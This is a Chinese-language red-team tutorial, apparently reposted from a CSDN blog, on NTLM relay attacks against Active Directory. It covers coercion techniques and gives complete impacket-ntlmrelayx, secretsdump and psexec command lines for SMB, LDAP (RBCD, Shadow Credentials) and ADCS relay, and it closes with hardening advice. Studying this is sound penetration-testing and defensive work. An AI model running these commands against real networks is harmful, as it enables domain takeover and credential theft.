// 红队渗透 · 2025-12-20

NTLM Relay 攻击全解析:从原理到实战姿势

一、 NTLM Relay 的核心原理

NTLM 是一种典型的“挑战/响应”(Challenge/Response)身份验证协议。攻击的核心在于:攻击者不直接破解 Net-NTLM Hash,而是将其转发(Relay)给另一台目标服务器,以截获者的身份冒充受害者获取权限。

1. 经典流程

  1. 受害者(Client)尝试访问攻击者(Attacker)伪装的服务。
  2. 攻击者将请求转发给目标服务器(Target)。
  3. 目标服务器生成一个 Challenge 并发给攻击者。
  4. 攻击者将 Challenge 原样转发给受害者。
  5. 受害者用自己的 Hash 加密 Challenge 生成 Response 发给攻击者。
  6. 攻击者将 Response 转发给目标服务器。
  7. 目标服务器校验成功,攻击者成功冒充受害者建立会话。

二、 常见的 NTLM Relay 触发姿势

要实现中继,首要任务是诱导/强制受害者向攻击者发起认证。

1. 广播协议劫持(LLMNR/NBNS)

当 Windows 主机无法通过 DNS 解析某个名称时,会退而求助 LLMNR/NetBIOS 协议进行广播。

  • 技巧:使用 Responder。当用户手抖输错域名(如 \\serber01),Responder 会声称自己就是该服务器,诱导客户端发送 NTLM 认证。

2. IPv6 劫持(mitm6)

现代 Windows 默认开启 IPv6 且优先级高于 IPv4。

  • 技巧:使用 mitm6。攻击者在域内伪造 DHCPv6 服务器,为受害者指定自己为 DNS 服务器。当受害者尝试访问 WPAD 等服务时,会自动通过 IPv6 向攻击者发起认证。

3. 打印机漏洞强制认证(PrinterBug)

利用 MS-RPRN RPC 接口,攻击者可以强制域内任何主机(包括域控)向攻击者主机发起 SMB 认证。

  • 应用场景:常用于获取域控的机器账号权限,配合 Resource-Based Constrained Delegation (RBCD) 实现提权。

4.PetitPotam (MS-EFSR)

类似于 PrinterBug,利用加密文件系统远程协议强制目标机器向攻击者进行 NTLM 认证。


三、 经典攻击路径与工具链

NTLM Relay的核心价值在于“中继后做什么”。单纯拿到Net-NTLMv2响应并不能直接登录,但通过ntlmrelayx.py可以把认证会话直接复用到目标服务上,实现横移、提权、持久化。

姿势 A:SMB 到 SMB 中继

适用条件:目标主机SMB signing关闭(或仅启用但非强制),中继用户对目标有本地管理员权限。

完整操作链:

  1. 探测无签名主机(最关键一步):

    # 使用netexec扫描全网段
    netexec smb 10.10.10.0/24 -u 'lowpriv' -p 'P@ssw0rd' --gen-relay-list relay.txt

    relay_targets.txt 示例:

    10.10.10.23
    fileserver01.lab.local
  2. 启动中继:

    # 基础版 + SOCKS + IPv6 + SMB2/3
    impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks -6 -wh wpadfake.lab
    • -tf:支持多目标轮询(比单-t更稳)
    • -socks:开启本地SOCKS5(127.0.0.1:1080),后续可proxychains所有工具
    • -6:监听IPv6
    • -wh:伪造WPAD响应,增强mitm6效果
  3. 触发方式:

    • 被动:Responder + LLMNR/NBNS/WPAD poisoning
    • 主动:DFSCoerce / PetitPotam / PrinterBug 强制文件服务器认证
  4. 收割成果:

    • SAM/LSA dump(如果中继到本地管理员):
      impacket-secretsdump -just-dc-ntds 'lab.local/user:pass@10.10.10.23'
    • 通过SOCKS执行命令:
      proxychains impacket-psexec -k -no-pass 'lab.local/compromiseduser@10.10.10.23'
    • 或smbexec/wmiexec交互shell。

姿势 B:SMB/HTTP 到 LDAP/LDAPS 中继

杀伤力最高路径:中继到域控LDAP,修改AD对象,实现RBCD、Shadow Credentials、加域管、DCSync等。

为什么LDAP仍是软肋?

  • LDAP默认不强制签名(仅推荐)。
  • Windows Server 2025开始默认强制LDAP加密+通道绑定,但大量企业仍用旧DC或禁用。
  • --remove-mic 可绕过MIC保护,实现跨协议unsigning relay。

典型命令:

# 经典RBCD自动化(机器账户中继最常见)
impacket-ntlmrelayx -t ldaps://dc.lab.local \
  --delegate-access \
  --escalate-user attacker-pc$ \
  --remove-mic \
  -smb2support -6 \
  --no-dump --no-da --no-acl
  • --delegate-access:自动创建新机器账户(默认格式ATTACKER-随机$),并在目标机器对象上写msDS-AllowedToActOnBehalfOfOtherIdentity,允许该账户对目标进行S4U2Self/S4U2Proxy。
  • --escalate-user hack:旧参数(部分版本仍支持),指定已有用户/机器,尝试赋予高权限(如GenericAll、WriteDacl)。
  • --remove-mic:剥离MIC(CVE-2019-1040绕过),SMB→LDAP必备。
  • --no-dump / --no-da / --no-acl:减少噪音,避免额外操作触发告警。

Shadow Credentials 变种(PKINIT提权,推荐):

impacket-ntlmrelayx -t ldaps://dc.lab.local \
  --shadow-credentials \
  --shadow-target fileserver01$ \
  --remove-mic -smb2support -6 \
  --no-dump

成功后:攻击者在目标机器对象上写入伪造Key Credential → 使用PKINIT获取TGT → 以fileserver01$身份登录(常用于横移到高价值主机)。

其他LDAP操作:

  • --add-computer evilpc$ --computer-pass 'Pass@123':添加新机器账户。
  • --dump-ad:dump整个域(高危,慎用)。

触发方式:优先机器账户 coercion(PrinterBug / PetitPotam / DFSCoerce),因为机器账户密码长且不可改,NTLM hash极难破解,但可直接relay。

姿势 C:HTTP/SMB 到 ADCS(ESC8 / ESC11 / 证书提权)

通过Web Enrollment或Certificate Enrollment Policy Web Service中继,申请高危模板证书。

典型命令:

impacket-ntlmrelayx -t http://adcs.lab.local/certsrv/certfnsh.asp \
  --adcs --template Machine \
  -smb2support --remove-mic
  • --adcs:启用ADCS攻击模块。
  • --template:指定模板(Machine / User / DomainController 等)。
  • 成功后:获得base64证书 → 使用pass-the-certificate获取TGT。

2025年后变化:Microsoft在Windows Server 2025和部分补丁中默认启用EPA + NTLM relay防护到ADCS,但遗留环境仍大量存在ESC8。

姿势 D:多目标轮询 + 交互模式(大型网络利器)

impacket-ntlmrelayx -tf targets-all.txt -w \
  -smb2support -6 -socks \
  --http-port 80 --https-port 443
  • -w:watch模式,relay.txt修改后自动重载。
  • 支持同时监听HTTP/HTTPS/SMB,适合复杂环境。

姿势 E:反射式Relay(Reflection,本机中继,CVE-2025-33073相关)

2025年新变种,利用SMB客户端反射漏洞,本机强制认证后反射回自己,实现本地提权。

简要流程:

  • 控制一台主机 → 使用DFSCoerce等强制本机认证 → relay回本机LDAP/SMB → 修改本地权限。

适用:无法外中继但能RCE的场景。


四、 实战排错与关键点

在实战中,以下三个点往往决定成败:

  1. SMB 签名 (Signing):如果目标服务器开启了 Message signing is required,SMB Relay 会直接失败。
  2. 端口冲突:运行 ntlmrelayx 前必须关闭 Responder 的 SMB 和 HTTP 模块(修改 Responder.conf),因为它们会竞争 445/80 端口。
  3. IPv6 适配 (-6):很多现代内网流量走 IPv6,如果工具没加 -6 参数,就像守在正门却没看后门,会漏掉大量认证流量。

实战Tips:

  • 始终加-debug排查。

五、 防御建议

  1. 强制 SMB 签名:在域组策略(GPO)中强制所有机器开启 SMB 签名(代价是轻微的性能损耗)。
  2. LDAP 签名与通道绑定:在域控上开启 LDAP 签名强制和 LDAPS。
  3. 禁用不安全协议:全面禁用 LLMNR、NetBIOS 和 WPAD。
  4. 加入“受保护的用户”组:将高权账号(如 Domain Admin)加入该组,强制使用 Kerberos,禁止 NTLM 降级。
  5. EPA (Extended Protection for Authentication):开启扩展认证保护,防止凭据中继。

原文 https://blog.csdn.net/2301_79518550/article/details/156111896